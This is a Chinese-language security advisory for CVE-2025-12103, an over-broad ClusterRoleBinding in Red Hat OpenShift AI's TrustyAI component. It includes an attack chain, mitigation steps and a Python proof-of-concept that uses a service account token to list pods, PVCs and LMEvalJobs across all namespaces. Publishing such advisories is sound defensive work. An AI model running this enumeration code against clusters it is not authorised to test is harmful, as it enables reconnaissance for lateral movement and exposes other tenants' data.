IPBUF安全漏洞报告
English
CVE-2025-12103 CVSS 5.0 中危

CVE-2025-12103 Red Hat Openshift AI Service TrustyAI 权限配置错误漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-12103
漏洞类型
权限配置错误
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Red Hat Openshift AI Service (TrustyAI组件)

相关标签

权限配置错误KubernetesRBACRed Hat OpenshiftTrustyAI信息泄露横向移动ClusterRoleBinding容器安全

漏洞概述

CVE-2025-12103是Red Hat Openshift AI Service中TrustyAI组件的一个权限配置错误漏洞。该漏洞允许集群内的所有服务账户和用户获取、列出、监视任意命名空间中的Pod资源,同时还能访问所有持久卷声明(PersistentVolumeClaims)和LMEvalJobs资源。TrustyAI组件在初始化时创建了一个名为trustyai-service-operator-lmeval-user-role的ClusterRole和一个名为trustyai-service-operator-default-lmeval-user-rolebinding的ClusterRoleBinding,并将该角色绑定到system:authenticated组,导致集群内所有经过身份验证的用户和服务账户都获得了这些过度权限。这种权限配置使得任何具有基本集群访问权限的用户都能横向移动并获取敏感信息,如其他命名空间中运行的应用程序详情、存储配置和AI训练任务信息。CVSS 3.1评分5.0,属于中等严重程度,主要影响机密性。

技术细节

TrustyAI是Red Hat Openshift AI Service中的一个组件,用于AI模型可解释性和监控。该组件在部署时错误地创建了ClusterRole和ClusterRoleBinding资源,并将权限范围设置为system:authenticated。具体问题包括:1) trustyai-service-operator-lmeval-user-role ClusterRole被配置为允许get、list、watch所有命名空间中的pods资源;2) trustyai-service-operator-default-lmeval-user-rolebinding将上述角色绑定到system:authenticated组;3) 额外的权限允许访问所有命名空间中的persistentvolumeclaims和lmevaljobs资源。攻击者只需具备基本的集群身份验证(任何有效用户账户或服务账户)即可利用此漏洞,无需特殊权限或用户交互。攻击者可以通过Kubernetes API直接查询这些资源,获取敏感的业务信息,如其他服务的技术架构、存储使用情况、AI训练数据位置等,进而为更深入的攻击提供情报支持。

攻击链分析

STEP 1
步骤1
攻击者获取集群中的任意服务账户令牌或用户凭证,即使该账户本身不具备特殊权限
STEP 2
步骤2
利用TrustyAI创建的过度权限,通过Kubernetes API向/api/v1/pods发送请求,列出所有命名空间中的Pod资源
STEP 3
步骤3
通过/api/v1/persistentvolumeclaims端点获取集群中所有持久卷声明信息,了解存储使用情况和敏感数据位置
STEP 4
步骤4
通过/apis/trustyai.opendatahub.io/v1alpha1/lmevaljobs端点访问AI训练任务信息,获取业务敏感数据
STEP 5
步骤5
汇总收集的情报信息,分析目标架构,为进一步的攻击(如横向移动、提权)做准备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12103 PoC - TrustyAI Excessive Permissions Exploitation # This PoC demonstrates the excessive permissions granted by TrustyAI component import requests import json # Configuration KUBERNETES_API = "https://<api-server>:6443" TOKEN = "<your-service-account-token>" HEADERS = { "Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json" } def list_all_pods(): """List pods across all namespaces - excessive permission""" url = f"{KUBERNETES_API}/api/v1/pods" response = requests.get(url, headers=HEADERS, verify=False) if response.status_code == 200: pods = response.json() print(f"[+] Found {len(pods['items'])} pods across all namespaces") for pod in pods['items'][:5]: print(f" Namespace: {pod['metadata']['namespace']}, Pod: {pod['metadata']['name']}") return response.status_code == 200 def list_all_pvcs(): """List PersistentVolumeClaims across all namespaces""" url = f"{KUBERNETES_API}/api/v1/persistentvolumeclaims" response = requests.get(url, headers=HEADERS, verify=False) if response.status_code == 200: pvcs = response.json() print(f"[+] Found {len(pvcs['items'])} PVCs across all namespaces") return response.status_code == 200 def list_lmeval_jobs(): """List LMEvalJobs custom resources""" url = f"{KUBERNETES_API}/apis/trustyai.opendatahub.io/v1alpha1/lmevaljobs" response = requests.get(url, headers=HEADERS, verify=False) if response.status_code == 200: jobs = response.json() print(f"[+] Found {len(jobs['items'])} LMEvalJobs") return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-12103 - TrustyAI Excessive Permissions PoC") print("=" * 50) list_all_pods() list_all_pvcs() list_lmeval_jobs()

影响范围

Red Hat Openshift AI Service (TrustyAI组件) - 特定版本需参考Red Hat官方公告

防御指南

临时缓解措施
在官方补丁发布前,可通过以下方式临时缓解:1) 使用kubectl或oc命令手动删除trustyai-service-operator-default-lmeval-user-rolebinding ClusterRoleBinding资源;2) 修改trustyai-service-operator-lmeval-user-role ClusterRole,将rules中的namespace字段从空数组(表示所有命名空间)改为特定的受信任命名空间列表;3) 监控audit日志中的异常API访问行为,特别是针对/pods、/persistentvolumeclaims等端点的未授权访问尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表